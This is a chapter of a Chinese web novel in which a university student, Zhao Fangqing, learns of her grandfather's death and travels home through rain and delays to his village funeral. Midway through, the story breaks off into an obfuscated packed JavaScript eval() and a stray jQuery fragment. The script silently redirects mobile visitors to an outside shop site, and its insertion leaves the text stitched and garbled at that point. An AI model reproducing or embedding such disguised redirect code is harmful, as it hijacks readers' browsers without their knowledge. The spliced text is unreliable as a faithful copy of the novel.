赵胜利是整个家族中第一个跟赵方晴和赵方菡讲万事三思而后行，信三分留七分的人。他总是很强大，赵方晴从来没见过他局促的一面。
赵胜利常说哪怕这个人是他，也不要轻易相信。换作赵胜安，他一定会责怪赵方晴愚笨，不胜狡猾的秦桧。
一母同胞，为人处事，心境迥异。
……
第二天起床，看着镜子里肿胀的眼睛。赵方晴用毛巾浸了水温敷了三十分钟。
早早办理了退房，赶往学校。
推开宿舍的门，程冉正在收拾床褥。
程冉笑着跟她打招呼。程冉轻微点头，淡淡的应了一声。
看她这么安静，程冉换了枕头套后把她从老家带来的桂花糕分给赵方晴两包。
程冉：“我妈亲手做的，你也尝尝。”
赵方晴：“谢谢。”
身心俱疲，有两个星期，赵方晴很讨厌出宿舍门，每逢下课就数她跑得最快，在食堂打包好午饭又溜回宿舍。
她不想在路上遇到任何一个知道她和王涞关系的人。总是觉得有人阴魂不散的在背后偷偷议论她。
程冉问她为什么不开心，是不是和王涞闹矛盾了。
赵方晴每次都是摇摇头，轻松地说：“他在工作，隔这么远，我们怎么会闹矛盾。”
程冉：“最近没怎么看到你们打视频。”
赵方晴：“他忙，我不想打扰他。”
……
第三周休息日，赵方晴嗜睡到了下午一点。醒来后翻看手机，通话记录显示有两条颜春荣九点打来的未接来电。睡眠前她习惯性手机静音，因此没看到。赵方晴点开了微信，看到刘音霞发的两个字：速回！
赵方晴心感不妙，拿着手机跑出宿舍，狂奔到综合楼，她找了个没有人的教室回电话。
勉强镇定，赵方晴声音颤抖的问：“喂，妈，怎么了？”
手机里传来一阵喧闹的北方土话，他们吆喝着报丧，还有滋滋拉拉铁棍铁锁拖地的刺耳声。她再熟悉不过，听着是在搭灵棚。颜春荣言语催促：“快回来，你爷爷不行了。”
一个趔趄，颜春荣说了赵方晴最不想听到的话。
“嗯，我现在去请假。”
听到赵德林的死讯，过往的回忆蜂拥而上，两天前她通过视频电话看到赵德林还睁着眼呢，她在电话里跟赵德林说自己只要中秋一放假，就马不停蹄的赶回去陪他过节。
人，怎么，说没就没了。
赵方晴坐在教室第一排，四肢绵软无力，表情低迷麻木。痛到深处，是说不出话来的，连呼吸都只能轻喘，流动的血液像是携裹着搅碎的刀片。灵魂尽数被抽走，这副身躯跟死过没什么区别。
她实在想不通。
无法控制的脑神经衍生出太多杂乱的情绪，欲哭无泪。
赵德林死了？他们说的是身体死亡吧，不是说脑死亡会慢一点吗。这样的事实她无法接受，赵方晴会心一笑，慢慢的，脸部的肌肉开始变得不自然。
一周后，他就要过生日了。
眼睛上边的双眉平坦的展开，她的眉心再不见褶皱的纹路。手机差点一个没拿稳从桌子上摔下来，赵方晴乏倦的抚净了手机屏幕上的指纹，骤然转哭，哭无声，心极痛。痛的让她此刻想要找把刀就地剖胸剜心，把这个连接着五感的东西狠狠丢在地上踩个稀巴碎。
苦中含泪，泪中夹苦，徒余悲苦交叠。她崩溃的很安静，有些不知所措。
老天爷，我做错了什么，为什么要这样对我？
赵方晴重新买了机票，直达桥城的航班已经没有了，只能先飞北平，再翻北平到桥城的票。
结果北平到桥城的高铁票和火车票一张都抢不到，赵方晴跟人工售票处妥协后订了临时大巴。
生老病死，爱别离，怨憎会，求不得，五取蕴苦。实则身体之殇，精神之痛，完美的贯穿整个人生。
以前她单一的觉得生命要用存留的时间去衡量，寿之长短，仅凭数字计算。猛的令人心生感触，生与死之间原来就是隔着一堵看不见摸不着的墙，没人能预估这堵墙的宽度和厚度，阎王让你三更死绝不留你到五更。
“生”的其中一个对立面是“死”。
刚习得人生必修课里的一个小章节，怎么就这么疼了。
赵方晴擦干眼泪，面无表情的拿出手机跟导员说明了情况，申请了离校假条。
……
静待这股子悲伤过去，赵方晴回了宿舍。
注意到她不对劲儿，程冉从床上坐起来问她：“晴晴，你怎么了？”
赵方晴摇摇头：“家里有点事情，临时请假得走。”
这段时间赵方晴就跟变了个人一样，成天都是不咸不淡，不冷不热。程冉已经习惯了，她知道赵方晴是个尤其重隐私的人，没多问什么。
程冉：“你什么时候回来。”
赵方晴拿了常背的黑色皮革书包，轻装简行。她缓声回答：“一周吧，一周就回来了。”
……
假条审批过，赵方晴打车直达机场。
沿海苦热未消，空气扇在脸上，快速的顺着毛孔散进全身。她没有情绪，身体最直白明了的感觉除了疼还是疼，耳鸣眩晕，五脏六腑在不断的收紧，无法呼吸。
绯红色的晚霞映进她的双目，如此炽热瑰丽，恍惚迷蒙，怎么还是苍白的。椰子树一意孤行的想要躺倒在地，和周遭剥离的如此清晰。
哪里还有空沉浸在屁大点儿的失恋里，命运残忍的拖拽她往深谷扔，阴厉道：我还没发力呢，你就不行啦？切，你算个什么东西，也敢跟我斗，这才哪儿跟哪儿。
谷底遍地衰败，所有的生灵都殉了身。大雾袭来，漂浮着的无枝可依，海鸥在天空肆无忌惮的作画。
……
从北平到桥城的高速，泼墨色的阴云堆砌在城市上空。雨水的身姿变态扭曲，舞动的极尽疯狂，它的欲望是竭力洗清诸多罪恶。白色的玉珠子在地上活蹦乱跳，像神明，负罪的神明。
赵方晴乘坐的最后一班大巴在高速口堵了将近有两个小时，到家已经是凌晨一点。
道路两旁的灯牌逐个儿闪过，大巴路过了桥城北站，赵方晴想从那儿下车，北站就挨着老家村口。大巴司机师傅说公司有规定，不到终点站不被允许停车，遂作罢。
终点站在市区中心的火车站边儿上。
瓢泼大雨就那么一阵儿，雨势小了。天空黑暗，她一点儿也不觉得害怕。望着路灯，徘徊许久，曾经引以为傲的方向感随着缠绕的细雾摸不着北。
小城睡眠很早，回家的路变得畅通无阻。
寒雨淋在身上，一点也不觉得冷。头部依旧是暖的，她反应过来，是因为自己戴了帽子的原因。赵方晴拿出自配的钥匙扭动门闩，家里空无一人，他们都回老家了。
的确该回去，陪着他，守着他。
猜测的没错，这个时候赵德林已经躺进了棺材，棺材的位置会放在她家的堂屋，不再可能是那个阴冷潮湿的破院子。
赵方晴给自己泡了包方便面，呆呆的坐在客厅，她才懂得那句话：面对生活，其实需要很大的勇气。
那一夜，赵方晴给自己做了无数次的心理建设，结果还是坐在客厅泣不成声。她矛盾的在心里反驳，明明自诩已经看淡了生死。怎么还是这么难过。
秋天来了，季节性过敏复发，赵方晴的小肘越抓越痛，很不安稳。
凌晨三点睡着的，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17802646|210651||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
早上六点半起的床。
赵淳成的二儿子赵果垒开车来接她。
看到赵方晴从小区出来，赵果垒绅士的拉开车门问了句：“昨晚什么时候到家的。”
赵方晴：“一点多。”
赵果垒点点头：“辛苦了。”
坐在副驾驶，赵方晴问：“五叔，他们都回去了吗？”
她指的是赵家所有支系的人。似乎只有这种事情，才能把家族里的所有人聚在一起。
赵果垒握着方向盘：“回去了，就差你了。”
从市区到老家开车大概二十多分钟。
这二十多分钟里，赵方晴神经一直紧绷着。
山路一程又一程，压在心上的石头越来越重，最后一段路是从公路口往村子里直转，远远就能看到搭好的灵棚。
黄白相间，扎了纸人和纸花。
吹唢呐的乐团有三桌，一个在灵棚头一个在尾。剩下一桌在家门口，赵方晴的家门口。
赵果垒把车停在水坑边，赵方晴从车上下来，一两个从小看她长大的阿姨跟她打招呼。
“方晴回来了……”
平日里她们看赵方晴，跟自家孩子一样。
今日脸上，一律的愁云密布。
赵方晴礼貌疏离的对她们点头致意。
什么时候绷不住的，当她一步步穿过灵棚，走进家门。亲眼看着他的遗照立在棺材前的桌子上。照片上的人笑着，西装和领带也是p上去的，他们一辈子应该都没有穿过那样的衣服，甚至不曾见过。
前几年村社统一组织六十岁以上的老人留个纪念，世世代代，他们生死都和这片土地紧紧依存。
照片里的背景可以随意挑换，或大山大河，或花海草地，有的背靠人民英雄纪念碑，有的是天安门红墙，照片后叠加了他们一生未曾相遇的风景。
用来当遗照的不止赵德林一个。
小桌子上放着只有祭祀死人才会煮的生白肉，割了喉咙的宰毛公鸡，白面馒头上浮着香灰。炉子里的烟灰已经很深了，燃了很久了吧。
三炷香，两只白烛。
这样的东西怎么能放到赵德林面前？！她不想承认他已经去世了。
固执的再不看棺材的方向，她扭头去西屋，陈桂英看到孙女儿回来了，哭喊着抱着她。周围的婶婶都凑了上来。
赵方晴潸然泪下。
她轻声问：“什么时候的事？”
陈桂英声音颤抖：“前天夜里凌晨四点多的时候走的。”
赵方晴擦了眼泪，哽咽了一下。陈桂英继续说：“他走的时候很安详，不痛苦。”
赵方晴没说话，坐在床边捂嘴哭了起来。
赵家人内敛含蓄，难过时总是无声。
怎么可能呢。
人死的时候怎么会不痛苦。
这话在骗谁？没有半点安慰的作用。
四个红白喜事总是挨家挨户掺忙的本村婆子围坐在东屋拽孝布，这种场面她们经历的多了，手里的白布撕的是易如反掌，无需剪刀，无需量尺。
她们只需看一眼戴孝人的身形，就知道该撕多长多宽。孝布和蒸屉内的笼布材质一样。
撕孝布时，她们很少说话。
她们也是葬礼筹备的主力军。
……
每一年，过的最心惊胆战的就是冬天。小学读书，书里描述很多老人抗不过冬。
脑梗病人特别需要注意，冬天冷空气入侵，血管便会收缩，所以每一年冬季来临时，赵胜安都会准时准点的坚持每天回村，守在他们身边，陪着赵德林和陈桂英度过这个关卡。
对于高龄老人来说，过冬如过关。
任谁都想不到，赵德林会死在初秋。